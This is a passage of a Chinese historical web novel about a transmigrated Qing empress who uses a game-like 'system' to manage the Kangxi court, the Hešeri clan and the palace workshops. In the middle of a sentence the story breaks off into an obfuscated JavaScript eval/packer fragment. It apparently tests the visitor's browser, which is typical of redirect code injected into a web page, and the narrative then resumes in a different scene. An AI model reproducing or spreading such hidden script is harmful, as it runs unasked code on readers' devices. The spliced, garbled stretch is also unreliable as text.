“是朕会喜欢,还是皇后喜欢?”康熙突然扣住她手腕,龙纹金镶玉扳指硌得珠兰皱眉。 他望着珠兰微怔的杏眼,微微松手,想起方才她提起阿日娜苏时眉飞色舞的模样,胸腔里泛起酸涩的涟漪。明明是自己默许的制衡之术,偏生听不得皇后夸赞旁的女子。 珠兰眨了眨眼,突然转身背对他,月白裙摆扫过满地金砖。 康熙望着那抹纤瘦背影,鬼使神差地跟着起身。当珠兰转身时,发间珍珠流苏扫过他下颌,某粒珍珠沾着未干的茉莉香露,在他皮肤上留下微凉的湿痕。 两人在暖阁中周旋,一个避让间打翻了案头青瓷笔洗,松烟墨漫过蟠龙纹。他盯着墨汁蔓延的轨迹,想起太皇太后说的"帝王不可为情所困",可喉间泛起的酸涩却不听使唤。 暖阁里同时弥漫着龙涎香与茉莉香,前者是他惯用的熏香,后者是珠兰特意为他调制的发香。当两人交叠时,两种气味在蟠龙柱下纠缠,形成一种陌生的馥郁,如同他们此刻既熟悉又疏离的关系。 此刻暖阁的暗香中,龙袍的金线硌着皮肤,提醒着他的身份。铜漏的滴答声被刻意放大,每一声都像是敲在两人之间的无形壁垒上。 当珠兰第三次轻巧躲开,珍珠的微凉与他耳尖的灼热形成讽刺对比,暴露出他强装镇定下的慌张。这种脱离掌控的生动,像根细刺扎进他心里——帝王习惯了万物臣服,受不了皇后对他人投以真心赞叹。他习惯了珠兰每日的陪伴,不想她再用欢喜的眼神去看别人。 康熙突然揽住她腰肢,将人抵在蟠龙柱上,“皇后就这般躲着朕,还是逗弄朕?”此刻怀中温热柔软的身躯,却让他感到陌生的失控,让他第一次怀疑:所谓帝王心术,是否真能算尽人心? 当珠兰踮脚时,衣料摩擦的窸窣与他压抑的吸气声重叠,而窗外海棠枝叶扫过窗棂的声响,恰好掩盖了他喉间溢出的、混杂着醋意与笑意的低喘。 46. 皇后之愿 康熙扣住珠兰腰肢的手指骤然收紧,指腹掐进她裙腰的滚边,将绣着并蒂莲的缎面捏出褶皱——那是他亲赐的纹样,如今却被她在谈论其他女子时穿着。 窗外的海棠花枝被夜风吹得轻颤,某片花瓣落在暖阁的窗台上。殿外夜色渐浓,只余下交织的轻笑与凌乱的喘息。 珠兰的呼吸拂过他耳畔,他听见自己低声呢喃:“不许再夸别人。”这话出口便后悔了,像个撒泼的孩子,全然失了帝王威仪。可怀里的人却轻笑起来,东珠蹭过他后背,发出细碎声响。他忽然想起少年时,母亲也曾说:“玄烨,帝王也是人,别把自己困在龙袍里。” 铜漏里的水滴落在接水盘上,溅起的水花打湿了康熙袍角的海水江崖纹。水痕沿着龙纹向上蔓延,如同他无法遏制的醋意。烛光将两人的影子投在蟠龙柱上,她的影子恰好覆盖住龙首的位置,而他的影子则缠绕着龙身。 他揽着珠兰的手臂不愿松开,仿佛这样就能暂时卸下江山重担,做片刻只懂嫉妒的寻常男子。他望着她发间凌乱的珍珠,终于承认:他怕的是——这颗被他视为治国利刃的心,有一天会真的偏离自己。 窗外,海棠花影摇曳,将这方天地的旖旎,都藏进了深深宫墙之中。 一刻钟后,皇帝逃跑了。 珠兰看了眼系统,翻了个白眼,这么好的气氛,亲密度居然没涨,男人那颗心啊,可太难猜了。 残阳的余晖透过丝绢槅扇,索尼枯瘦的手指反复摩挲着明黄卷轴,上面"一等公"三个朱砂大字在暮色中泛着刺目的光。皇帝的心思,越发难以揣测。 正厅的香炉飘出袅袅沉烟,案头原有的一等侯印绶泛着冷光,与新赐的公爵金册并排放置,恍若两柄悬在赫舍里氏头顶的双刃剑。 “本该是百年之后的哀荣啊...”老人望着窗外摇曳的竹影,喉间溢出一声浑浊的叹息。他早已窥见了这份世袭罔替爵位的最终归属——却万没想到,这象征着无上尊荣的公爵之位,竟会在皇帝与朝臣剑拔弩张的风口浪尖,以这般突兀的姿态降临。 大儿子接手内务府,他觉得管不过来,让皇后管。索尼当时觉得这个招数太次了,可他也同意了。毕竟刚直忠君的葛布喇是赫舍里立在前朝的旗帜,一片纯洁无瑕就是他的护身符。 只是,内务府这个地方虽然水浑难搞,可太重要,拱手让给他人肯定不行。 比起无子的皇后,身为皇帝第一心腹的葛布喇对家族更重要。 索尼从没想过内务府还能管出花来,不犯错就可以,守着一摊子吃皇家的饭,给大伙分匀乎了就行。 谁知道皇后娘娘心中自有丘壑,是这么个丘壑啊。愣是把自己作践成这样! 好好的皇后,干成天子鹰犬! 索尼觉得自己病了这一段时间,实在错过许多。 他以为皇上特意来寻自己一回,是还用的上这一帮老兄弟。先头大伙退了,怎么皇上也得分润一二好处给大伙。 结果,后面还是君臣对立了起来。由头,还是自己家。 皇上就那么铁公鸡,好处得了,一丝半点是不往外漏。 八旗宗室都没有,就给自己的妃妾家分润了,这是什么道理。 天子欲要让我自掘坟墓?还是要让我赫舍里全族做皇权的牺牲品? 他已经忘记了,当年他与长子葛布喇说过的一番话。当然他可以坦然面对孙女牺牲,却决不可看着家族失利、失落、失败。 索尼不知道,连分润出去的这点儿都是自己孙女珠兰做主给的。他还对皇帝保有一丝幻想,皇上应该还是愿意同八旗共享盛世。 铜漏滴答作响,索尼盯着墙上先祖画像,目光穿过层层岁月,落在三儿子索额图身上。 那个最像他的年轻人,此刻在内务府工坊里没日没夜地捣鼓蜂窝煤与琉璃镜,连带着就把六部衙门和宗室老爷们的利益搅得七零八落。“到底是沾了他的光,还是被他连累了?”老人用布满老年斑的手揉着太阳穴,珊瑚朝珠在腕间撞出细碎声响。 他曾攥着老三的手,厉声警告:“赫舍里氏绝不能站在满朝文武的对立面!”这是他一辈子的智慧,永远与大多数站在一起。 老三那双与他如出一辙的丹凤眼,貌似乖顺,貌似想明白了,实则执拗得可怕,仿佛被他大哥葛布喇那股迂腐劲儿浸透了。 内务府工坊彻夜不熄的炉火,正将赫舍里氏推向风暴中心。这新赐的一等公爵位,究竟是帝王对功臣的褒奖,还是将家族架在火上炙烤的催命符?老人闭上眼,任由黑暗吞噬满心的忧虑,唯有佛珠仍在指间缓缓转动,数着这深宅大院里无人知晓的惶惑与不安。 “老太爷,三老爷到了。”小厮的通报声惊碎满室寂静。 索额图跨进门槛时,官服补子上还沾着内务府工坊的煤灰,新赐的双眼花翎随着动作轻轻颤动。 “跪下!”索尼猛地将瓷碗砸在青砖上,碎裂的瓷片溅到索额图官服下摆。 “你以为这爵位是天大的恩赏?”老人剧烈咳嗽着撑起身子,青筋暴起的手死死攥着金镶玉把手,“早于你说过,皇上与朝臣掰手腕,咱家可以和稀泥。葛布喇已经是名声在外,就那么个臭脾气了,本是指望你把赫舍里氏从风口浪尖带下来!你倒好,在内务府搞什么蜂窝煤、琉璃镜,把六部得罪了个遍!此刻居然还不肯消停吗!”最重要的是,怎么提前不来告知他!“你眼里,还有我吗!” 皇上不愧是太皇太后教出来的,用得着我家周旋于朝臣时,便是重臣忠臣。用不着了,就要我家做孤臣。我全家在旗,姻亲遍布宗室与上三旗,怎么孤啊! 索额图挺直脊背,额头抵着冰凉的地砖,“阿玛,儿不过是想为皇上分忧...” “分忧?”索尼的冷笑被咳嗽打断,指节几乎要掐进儿子肩头,“你以为满朝文武都是瞎子?他们盯着的不是内务府的银子,是你!你这个办事的,居然没把银子拿出来分。你,背叛了勋贵!”八旗,本旗都是老亲,上三旗都是姻亲,宗室都有联姻,哪有人家会做孤臣的。“就是葛布喇愿意,你索额图也不配愿意。皇上,能保咱家一辈子吗?” 现而今满朝风声,是怎么来的,是皇后失德吗,是葛布喇不够忠心耿耿吗,是索尼居功自傲吗?是你索额图,不够聪明啊! 窗外忽起一阵狂风,卷着柳絮扑进屋内。索额图望着父亲鬓角新添的白发,忽然想起当初随他上朝,老人总说“为官之道在于藏锋”。 当初大哥在前朝硬刚鳌拜之时,老父亲在后头暗箱操作与那遏必隆眉来眼去,脚踏两条船。 索额图都看在眼里,也记在心中。赫舍里家就是这样,鸡蛋不放在一个篮子。 可如今内务府工坊的炉火彻夜不熄,琉璃窑的青烟直冲云霄,赫舍里氏的锋芒,早已在这场变革中展露无遗。索额图只是想证明,自己不是躲在大哥身后的无用之辈。 前朝之势也没有到不可收拾的地步,毕竟大哥葛布喇有擒鳌拜的大功在身,早年也护持了不少与鳌拜不同路的八旗勋贵,固然他不结党,身后却是有势力的。 “从明日起,暂缓工坊扩建。”索尼靠回锦缎软枕,声音里带着说不出的疲惫,“有些事,该低头时便要低头,不要把赫舍里氏架在火上烤。”皇后娘娘用他三叔,索尼赞成。可索额图不该卖命至此,做过了! 当索额图退下时,残阳已彻底沉入墙后,唯有老人手中的佛珠仍在缓缓转动,在寂静中发出细碎的声响,仿佛在数着赫舍里氏飘摇的命运。 三代人臣富贵至极,不能急功近利,要忍着啊,孩子们。老三会听话吗?索尼有些摸不准了。 若是让福晋入宫,不可,皇后娘娘是主子,外臣不可以教导之态入宫。太皇太后发话之前,咱家不能自己跳出来。 此事,还得在老三身上。 便是皇后娘娘寻了外人来忙活内务府一摊子,赫舍里家都不会这么被动。 索尼不相信,别人家的孩子也跟自家的似的越大越不长脑子。 你可以有才华,你怎么敢不合群! 皇上也要明白这个道理才对,千万莫要被葛布喇这个死心眼子带到歪路上去啊。 索额图攥着鎏金镶玉的腰带扣,指节因用力而泛白,阿玛最后那句“不要把赫舍里氏架在火上烤”如重锤,在耳畔嗡嗡作响。 廊下铜灯次第亮起,昏黄光晕将他的影子拉长,与廊柱上盘绕的蝠纹重叠,倒像是被束缚的困兽。 大哥当年之举,何尝不是把家族架到了火上! 垂首跨过门槛,下摆扫过冰凉的青石阶,将暮色里的树影搅得支离破碎。父亲方才那番训斥犹在耳畔回响,他却望着掌心被朝珠勒出的红痕,在心底将局势细细推演——朝臣们弹劾的折子堆成山,哪里是冲着内务府的银钱?分明是那些琉璃抢了南边贸易行的生意,蜂窝煤断了炭商的财路。他每推进一项新事物,就像在勋贵们的软肋上扎下一根钢针。 大商人背后,哪个没有靠山。八旗勋贵、旗主王爷,就是大靠山! 彼时索尼周旋于朝堂,惯用的手段便是"利字均沾":找一个可靠的白手套,将新发现的矿脉分与各旗贝勒统领,把漕运的油水匀给六部堂官。作为索尼最聪颖的儿子,他自幼浸淫在朝堂权谋的暗流中,深谙臣子的生存之道。 阿玛总在朝会后,将新得的机遇写成密信,借着赏玩古玩字画的由头,分送八旗勋贵。那些看似随意送出的翡翠扳指、波斯地毯,实则是将利益的丝线编织成网,让满朝文武与赫舍里氏一损俱损、一荣俱荣。 索额图原本,也是这么想的。可是随着皇后娘娘在内务府改制,又把最重要的工坊交给自己,他在不知不觉中改变了。 他晓得,如今若是换作父亲处置,必然会将蜂窝煤拿去对上交差,然后把琉璃秘方誊抄数份,在某个月白风清的夜晚,借着宴饮之名悄悄塞进八旗贵胄的袖中,谈笑间便将生财之道化作彼此心照不宣的默契。 大家都得了好处,自然会笑着把弹劾折子化为杯中的酒,一饮而尽。 赫舍里这样做,其他人掌权也会这样子做,这样八旗才都有糖水喝。 皇上便是晓得了,也是法不责众。赫舍里氏届时推出一个替死鬼,平了帝王之怒便是。 然而现实如冰冷的铁钳,死死钳住他的每一步。 案头还摆着皇后娘娘亲手绘制的玻璃窑远景图,宣纸上朱砂批注的“平价惠民”四字墨迹未干。这东西只有在内务府手里,才能研究出可以平价的程度。 若是到了勋贵手中,再便宜的原材料产出,指定是要卖出天价去的。 蜂窝煤批量上市那日,西山炭商的车队在城门堵了整整三日。他们想要垄断煤市,然后涨价。这是娘娘,断不会容忍的。 这新政斩断了旧权贵的财路,却也将赫舍里氏推至风口浪尖。葛布喇在前朝浑然不觉,是上有皇帝下有势在给他扛着,没人会冲着他下手。但索额图,已经遭遇几次弹劾了。惊险之处,还要仰仗圣心在侧。 现而今他宴饮都不去,回家都带着护卫,交代家里人出门注意,生怕着了道。 可娘娘选了这么一条路,他又能怎么办?阳奉阴违?不是索额图小看自己,是一切人心都被娘娘算尽了啊。 索额图望着自己靴面上沾着的煤灰,想起工坊里老匠师布满茧子的手——那些人说起皇后时,浑浊的眼中总会泛起光亮,仿佛在谈论在世神仙。 他们家里能过上好日子,子弟都有了差事,连妇人都出来在工坊做工了,都靠着皇后娘娘。 前日他不过提议暂缓另一副产品——肥皂生产线的扩建,白发苍苍的老匠头竟当众摔了模具,浑浊的老泪砸在青砖上,“当初发现这肥皂报上去的时候,皇后娘娘说要让百姓都用得起去污皂,咱们就得干!大人让咱们不好好干,咱们对不起娘娘,就得死啊,大人这是要断了咱们的活路!” 如今每次踏入工坊,那些年轻包衣学徒望向他的目光,炽热得仿佛能将他点燃。那是一腔的忠心,就像他大哥葛布喇对皇上一般,所有欲望都抛掉了,只有一双手和一颗心会动。他们活着,就为了尽忠职守。 若真将琉璃配方、肥皂配方等等拱手送人,只怕明日工坊里就会竖起“奸佞当道”的白幡,头一个讨伐他索额图。娘娘想保他,都来不及,估计只能保他一个全尸。 什么叫被裹挟,索额图没想过,会在内务府这种地方感受到。 夜风卷着宫墙外的喧嚣穿堂而过,索额图倚着廊柱,望着漫天星斗。他忽然想起皇后娘娘说过的话,“管内务府,不是让所有人畏惧,而是让所有人追随。”娘娘年纪小,却深得阿玛真传了。 可算计了一辈子人心的阿玛反而不会懂,皇后娘娘要的不是与勋贵分利的小格局,而是用平价的蜂窝煤温暖天下寒士,用透亮的琉璃镜照亮万里山河的大抱负。长生天知道,娘娘的胸怀为何如此宽广。 索额图无法突破当前世界观,所以他不理解,珠兰要的其实是世界进程可持续发展产生的能量结晶。 “三老爷留步!”小厮追来的声音惊飞檐下夜枭。索额图转身时,正看见月光爬上府中的鸱吻,将朱漆大门分割成明暗两半。 他突然意识到,自己早已不是那个躲在父亲兄长羽翼下的少年,他的长子今年已经出生了,他已经是站在风口浪尖的执棋人。 阿玛说过,索额图聪慧,最是像他会左右逢源。可是阿玛岂会知晓,他在内务府只是名义上的舵手,实际操盘的只有主子娘娘一人。 内务府的炉火照亮紫禁城的夜空,他不可能放弃唾手可得的功勋,就注定要在家族荣耀与皇后娘娘的宏图之间,走出一条前无古人的险路。 索额图转身望向灯火通明的内室,父亲咳嗽的声音隐约传来。他深深吸气,将衣服褶皱抚平——有些路一旦踏上,便再无回头的余地。 即便要独自面对满朝弹劾的风暴,即便要背负家族不睦的骂名,只要内务府的炉火还在燃烧,只要皇后娘娘需要百姓家中照进琉璃镜的光亮,这场注定孤独的博弈,他便要走到底。 更漏声在幽深的回廊间回荡,索额图没有理会小厮的呼喊,他倚着雕花栏杆,望着天穹中闪烁的星子。 晚风掀起他官服的下摆,带来远处内务府工坊飘来的淡淡硫磺气息——那是蜂窝煤窑炉永不熄灭的烟火。今夜父亲的训斥与往日兄长的教诲在脑海中激烈碰撞,他如醍醐灌顶,终于读懂了大哥葛布喇眼中那份近乎执拗的忠诚。 珠兰意外发现,索额图的忠诚度突然上了90,但他的政治属性在自然衰退,虽然没有跟葛布喇似的掉成个位数,但也在衰减,这似乎是一种固定的后遗症。 曾经,索额图以为大哥坚定的做那摇摇欲坠的保皇党是迂腐,以为事成之后仍然恪守君臣之道是愚钝。 可此刻站在权力与利益的漩涡中心,他才惊觉自己竟与那些工匠一般"天真"。在工坊的日夜里,他看着王子腾与匠人们为改良琉璃配方熬红双眼,听着他们谈论皇后娘娘时语气中带着近乎狂热的崇敬,不知不觉间,自己的心思也变得纯粹——不再计较朝堂权谋的弯弯绕绕,只需遵循皇后娘娘的指示,便能创造出震撼天下的奇迹。 市井间流传的《圣君叹》仍在耳畔回响,百姓们赞颂他索大人"巧夺天工"的声音犹在耳边。可这些虚名,怎比得上那日在琉璃坊,亲眼看见老妪捧着平价琉璃镜,浑浊的眼中泛起泪光?那一刻,他仿佛触摸到了名垂青史的温度,那不是靠钻营权谋能换来的荣光,而是实实在在为天下人谋福祉的坦荡。 摩挲着脑后象征圣宠的双眼花翎,索额图忽然轻笑出声。世人总说赫舍里氏的荣耀在于世袭的爵位、满门的显贵,可今夜他想通了,家族真正的传家之宝,是刻在血脉里的忠诚。 这份忠诚不是对权力的盲从,而是对明君、对天下的赤忱。皇后娘娘心怀苍生的抱负,皇帝锐意革新的决心,早已让他甘愿成为推动变革的利刃,哪怕前方是满朝的明枪暗箭,哪怕要背负家族的质疑。 夜色渐深,索额图挺直脊背,大步迈向书房。他的胆魄,又回来了! 案头皇后娘娘亲赐的素绢在烛火下泛着柔光,朱砂批注的"利泽万民"四字灼灼生辉。他提笔蘸墨,在奏折上落下坚定的字迹——从今往后,他不仅要做皇帝囊袋里的能臣,更要做赫舍里氏忠诚的守护者,让这份纯粹的信仰,如同永不熄灭的窑火,照亮家族的未来。 康熙五年春夏之交,靳辅的河道衙门官船划破大运河的晨雾,一道而来的还有看不见的死神。 这位新任河道总督踏入江苏地界的那一刻,便似一柄淬毒的利剑,将沿岸盘根错节的利益网割裂得鲜血淋漓。倒不是他的政治手腕有多高明,实在是这个人有着诡异的运气,谁碰谁死啊。 毕竟不是所有人都会因治河而受益,所以总有反对派要搞破坏。靳辅本来是做好了与他们周旋的心里准备,连河标都在沿路配齐了,就等着图穷匕见。 结果,苏州知府暴毙于书房案前,扬州盐商溺亡在自家水榭,淮安漕帮舵主离奇死亡时,手中还攥着半张反对治河的密信——这些曾阻挠河工的势力首脑,皆以诡异姿态横死,验尸的仵作却摇头称"无外伤、无中毒迹象"。 这帮人虽然恶贯满盈、劣迹斑斑,无数人诅咒他们早死,但当地土贼水匪都是他们养的打手,一般是没什么生命危险,都是土皇帝一般的日子过着。 这一回,就莫名死了,简直成了当地官绅的恐怖故事。 可是,等事情传到京城,也就苏州知府死的蹊跷,值得朝中一暼。其余在江苏地面称王称霸的,在大员们眼中就是朝生暮死的蝼蚁,不值一提。 正巧前朝都在忙活着暗中与内务府抢夺生财之机,没工夫打量南边的钱袋子如何。少了一只,就再派一只去好了。 户部一群人都杀红眼了,打立国之初哪里有过这样的委屈。内务府怎敢专横至此,半点不分润给他们。 可他们不重视江苏之事,不代表地方是就不害怕。 尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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借着葛大人名帖送入河道衙门的文书们深夜誊抄的密报,掌柜们茶楼酒肆收集的情报,最终化作寒光凛凛的刀刃——斩一人不足以立威,便连诛十户;灭一贪官不足以震慑,便血洗全城污吏。 城中事只是开胃菜,战役是在深山湖畔开打的。以往都在学习和训练的小伙姑娘们人人沾血,开始蜕变,从掌控人命开始拥有强者心态。 这个是珠兰手下的掌柜们培养不出来的特质,必须让他们自己动手来上几次,才能养成下克上的这种气质。 出身不好又如何,家道中落怎么样,全家被砍头了就剩你自己了的,你觉得自己是一坨污秽,活着脏了土地,你觉得大人物高高在上,你碰都不敢碰他们一下。 可有一天,发号施令睥睨众生的他们,禁不住你轻轻一点,倒地就死了。 可有一天,手握一千手下横行当地的他们,禁不住你和同伴一个冲锋,就烟消云散了。 江苏这个地方,适合培养在野党。这是大姐儿交代的,暗线! 越来越野了,寿春如是想。 靳辅是来治河的,不是来当青天大老爷的,破案不归他管,虽然对自己怎么就成了死神代言人不太清楚,但治河为重,随他去吧。 淮安府 薛奋应邀前来做客,预备从此处购置些轻巧礼物,乘船入京。 老亲家的王子腾兄,在京中有了根基,他是去投奔的,也是去寻摸机会的。 金陵四家淡出的太久了,移居杭州的老亲甄氏都快不想理会他们了,也就与贾家还有些联系。 薛奋家中遗泽最少,连爵位都没有。好在,祖上几代就一直是皇商。他也是个合格的买卖人,各行各业都有朋友,黑白两道都有路子,连着宴饮了几日,就不小心听到了不该听的。 等上了挂着葛字旗的大船,薛奋心惊肉跳的瘫软在地。他实在不知与自己一道吃酒的那位是醉话,还是梦话,也不晓得对方翌日还记不记得自己说过啥。 总之,他跑了。 为了以防万一,他根本没坐自己定的船。拿着王子腾的名帖,求爷爷告奶奶的上了葛布喇大人家中的商船。 康熙五年六月初,溽暑裹挟着蝉鸣浸透紫禁城。慈宁宫的铜香炉终日飘着安神的龙脑香,却散不去廊下萦绕的凝重气息。 皇帝跪坐在太皇太后榻前,指尖试过热汤温度才敢递到老人唇边,明黄龙袍上的十二章纹被冷汗浸得发皱。 当御医第无数次摇头,少年天子突然攥住老人枯瘦的手,指甲深深掐进掌心:“皇祖母若不好起来,朕愿折十年阳寿换您安康!”他十几岁的人了,竟然还要劳累祖母至此,实在不孝。只要祖母能好起来…… 若非为了前朝之事,太皇太后也不至于心力交瘁至此,甚至卧病在床,一度神志不清。 与此同时,康熙急召钦天监十二监正齐聚乾清宫。烛火摇曳下,他盯着墙上的《皇舆全览图》,沉声道:“三日内务必择出黄道吉日,以乾坤交泰之象,为太皇太后祈福延寿。” 朱批落下的墨迹未干,又一道明黄色谕旨飞驰而出,传至王公府邸与六部衙门:自即日起,宗室子弟、勋贵重臣一律暂停饮宴听戏,斋沐焚香,每日辰时三刻于府中设坛诵经,以诚心感天动地,为太皇太后祈佑安康。谕旨末尾,御笔亲书的"违者严惩不贷"六个朱砂大字,在阳光下泛着冷冽的光,令满朝文武不寒而栗。 某处府邸 “阿玛,那老头儿的女儿当了贵妃就翻脸不认人了。”说好的你女儿当了贵妃,就请太皇太后开选秀的。我表妹如花似玉,还等着进宫呢。 现而今,做皇帝的姻亲是抢手的买卖。君不见纳喇氏和马佳氏,养了两个好女儿,户下人奴才出身,也抖起来了。 “不必理会,甄家可说好了。” “他家老太太已经从杭州出发了,咱们和信王的宴还……” “傻儿子,皇上在钓鱼,你非得咬钩啊。叫咱们的人都老实呆着,别让人拿住把柄。”太皇太后出手干预,也只是封了贵妃和宣妃罢了,皇上铁了心宠幸赫舍里,百试不爽的流言都没用。 无妨,这天下是八旗的,咱们必须徐徐图之。招式用老了……得变。 当御史呈上的密报里,赫然列着十数位宗室和勋贵大臣在府中摆宴听戏的罪状时,康熙将大学士拟好的条子撕得粉碎,降职就行吗! 狼毫饱蘸朱砂在弹劾本上狂草,“诸逆臣竟敢违令,着革职收押,永不叙用!” 你们敢给朕下套子,朕就掀桌子!便是太皇太后说项,朕也要先出一口恶气! 君臣上下一日百战,葛布喇诚不欺朕! 佟国纲:完啦,皇上上头了。我就说葛布喇老哥你太诚实,你家阿玛教你的那些,是咱们臣子用的杀手锏,你怎么就都抖落给皇上了。现在皇上这么灵透,咱们日子可难过啊。 佟家的大门终日紧闭,谁来求情都不敢让进去。 不用想也知道,附近肯定有皇上的粘杆处探子。 这位天子,年纪幼小,智慧却高,心机又重,不可以寻常少年视之。 “大哥,咱家苏完娜啥时候入宫啊。”佟国维听说贵妃都封了一位了,咱家正经天子表妹,那也得是贵妃啊。宫里,就俩贵妃位置。 佟国纲深吸一口气,这个兄弟给皇上送话本子的事儿还没完呢,一天不想习文练武,跟着儿子学着看星星也行啊,就盯着皇上作甚。你看不出皇上现在不亲近后宫嘛,你不长眼睛啊。 我太难了啊!佟国维捂着脑袋退出来。 那些曾在朝堂上公然弹劾内务府的大臣,此刻看着昔日同僚披枷带锁的模样,后颈泛起阵阵凉意。 原本沸反盈天的"后宫干政"流言,随着盛夏的暴雨来得急,去得也急。 唯有乾清宫值夜的梁九功记得,那日皇帝从慈宁宫出来,望着天边火烧云喃喃自语:“原来做这天下之主,最重的不是威权,是要护住想护的人啊...” 这世间的有情人,都是挫折越多,感情越深。前朝越是诋毁皇后,皇上就越是要护着。梁九功摇了摇脑袋,尤其皇上还看了不少话本子。为了跟上主子的思路,他没少偷摸找人给念来听。现在前头那些大官儿啊,就是没跟上步伐。 珠兰:待着好好的,系统面板上皇帝的亲密度怎么就涨了0.5? 谁?戳了他哪根神经了? 慈宁宫这场突如其来的急病,恰似一场雨,浇灭了朝堂的躁动。 但老谋深算的臣子们都明白,少年天子在病榻前的日夜守候,守的不仅是祖孙情分,更是借孝道塑君威的雷霆手段——当"以孝治天下"的大旗竖起,忠孝不分家。 皇帝皇后皆至孝之人,何方小人敢中伤,那些暗流涌动的权力博弈,终究要暂时退避锋芒。 不闪不躲的,都叫皇上寻了不敬的由头拿下来了。 大家都是聪明人,不言自明。 47. 暗战为钱 慈宁宫正殿弥漫着浓重的药香,沉香与艾草混着苦药味,在鎏金兽首香炉中蒸腾成雾。 珠兰跪坐在太皇太后榻前,素白中衣外只随意披着月白寝衣,发间仅别一支银簪,正用白玉勺轻轻搅着药碗。 系统上的健康值变化显示,老太太是自己拖成这样的,就为了大病一场。 前朝风向的转变,便是老人家所要的结果。做人家祖母做到这份上,也是不易了。 照顾老人这个活计也不难,她就是天天守着不合眼也可以,偷懒也可以。以珠兰的脾气,自然要分润后宫姊妹一起来侍候太皇太后。 昨日太皇太后昏迷中清醒了一时,还特意叫了史夫人入宫,二人单独谈了一刻钟。 史夫人从里间出来,苏麻喇姑引着她来拜见皇后。 珠兰见她利索又精明,气质却是温顺的,是太皇太后喜欢的那一款儿。她借此又开了四分之一新地图,现在就差薛家了。 贾家能有什么,是老太太放心不下的。有点意思,珠兰盘算。 史夫人见了皇后,想起太皇太后所言,心中擂鼓一般。眼前这位只是一个打量的眼神儿,就叫她险些以为自己是一盘子菜。不愧是执掌内务府的皇后,那气势已不亚于里面的老祖宗了。 珠兰的指尖轻叩案几,朝堂数据流在眼前奔涌,"后宫干政"的舆情热度曲线剧烈攀升又徒然降低,却引不起她眼中半分波澜。皇上在前头顶着呢,且看后续。 腕间东珠十八子随动作轻晃,倒映着面板上稳步增长的能量结晶数值——这才是她穿越时空的真正锚点。 窗外突然暴雨倾盆,雨滴砸在琉璃瓦上的声响,倒像是无数大臣的弹劾声在宫墙间回响。她早已看透史书工笔不过是胜利者的注脚,文人笔下的贤良淑德与祸国殃民,哪及得上系统面板上实实在在的能量。 更何况,此刻的群臣焉知明年后年还能剩下几个。 当内务府传来皇帝借题发挥打击群臣的消息时,珠兰已经晓得索额图那边肥皂生产线正在做最后的改良参数,新研发的水泥配方还在排队预备。一条生产线,有无数可以开发的副产品,以后会更加热闹。 比如索额图发愁的炮管淬火温度和铁钉量产精度,也从这条生产线里能找到解决之道。 等会儿,内务府最近的研究方向怎么偏到火炮上去了。珠兰支着下巴,把手底下所有人的忠诚度都看了一遍,没问题啊。算了,随便他们折腾去吧。 那么多能工巧匠都被珠兰把属性点加到神匠的层次了,偶然突破一下人类极限很正常,那么多人凑在一起出一个突破时代的成果也很正常,对吧。 让风暴来得更猛烈些吧,皇帝与朝臣每一次激烈交锋,都在加深帝王对内务府的倚重,就像精密齿轮咬合,将皇权与她掌控的工业变革牢牢绑定。她未曾生了离间天子与群臣之意,可皇权本就天然排他。 打起来是最好,这位天子从不惧怕挑战。打的前朝空了,才好重新洗牌,珠兰才不在意爱新觉罗的天下会不会动摇呢。风雨飘摇的江山,也有风雨飘摇的玩儿法。 宫墙外暗地里对赫舍里吃独食的骂声愈演愈烈时,只有两家庶妃和科尔沁那边没动静。珠兰饶有兴致地看着系统对前朝局势的动态推演,那些自诩清流的御史、老谋深算的阁臣,在她眼中不过是推动剧情的NPC。只要能量结晶持续增长,只要科技树不断点亮,这史书如何书写,天下如何评说,又与她何干。 而且家里还有索尼呢,这么久也没见大佟佳氏进宫来说两句,想来赫舍里氏也都是不在意的。虽然数据面板上索尼的担忧数值都快爆表了,珠兰也当没看见。 新晋贵妃萨琳半跪在地,手抄的祈福经文已被泪水洇出褶皱。这殿中,只有她在全心全意希望太皇太后长命百岁。她这个贵妃,是太皇太后许的,不是皇上愿意的,她晓得。家中屡次递牌子要见她,她都不肯见,这对她对家里都好。人心欲念太多,只会吞噬自己。她已经不是小时候被额娘说几句,就觉得有道理,要跟珠兰挣个长短的小姑娘了。 宣妃阿日娜苏则手持团扇,立在纱帐外轻轻摇晃,只是一年她便长大了许多,科尔沁女子晒出来的小麦色肌肤在烛光下泛着柔光,发间珊瑚坠子随着动作轻响,面上都是忧虑。入宫后,天子并不青睐她。她曾以为回去草原,虽然见不到皇上了,可便自由自在了。没成想,居然又被送了回来。送回来也见不到皇上,好在宫中还有塔娜,还有诺敏姐姐,每日有个人说说话。 侧殿内,守着药炉子的庶妃诺敏与玉宁皆是素服素颜。诺敏攥着帕子的指尖微微发白,精神头不太够,她有点累。玉宁则反复擦拭着药罐边沿,连铜锈都被擦得发亮,精力充沛,一点都不累。 端敏格格跪坐在蒲团上,往日飞扬的辫梢此刻蔫头耷脑,盯着咕嘟冒泡的药汤,忽然想起幼时太皇太后教她骑马的模样,眼眶瞬间红了。 太后握着佛珠的手紧了又松,檀木珠子在指间转动的节奏越来越急,仿佛要将满心焦虑都碾进这无声的轮回中。 太皇太后病来的急,突然就病重了。老人岁数大了,谁也不敢保证下面是好,还是······ 太后不懂前朝的事儿,她的智慧只能看到眼前,不晓得太皇太后的病是怎么来的,她只是担心,担心母后会走,会留下她一个人在这里。 暴雨初歇的午后,苏麻喇姑携着塔娜的手跨过慈宁宫门槛,湘妃竹帘掀起时,檐角铜铃叮咚轻响。塔娜怀中的小黑狗耷拉着湿润的鼻头,绒毛还沾着永寿宫庭院的青苔气息,却乖巧地蜷在织锦袄中,连尾巴都敛得服服帖帖。 “就养在西厢房吧。”苏麻喇姑指着廊下新置的楠木狗窝,那里蜷着太皇太后的老黑狗,此刻正抬起浑浊的眼睛打量新来的伙伴,这好像是自己的孩子。 塔娜轻轻将小狗放下,老狗过来舔了舔。小姑娘金线绣着并蒂莲的裙裾扫过青砖,在地面投下细碎的光影。 侧殿雕花槅门吱呀开启,端敏格格握着的团扇骤然停住。少女眉间凝着不解,目光掠过塔娜泛红的耳尖,又转向苏麻喇姑鬓边微乱的珍珠。 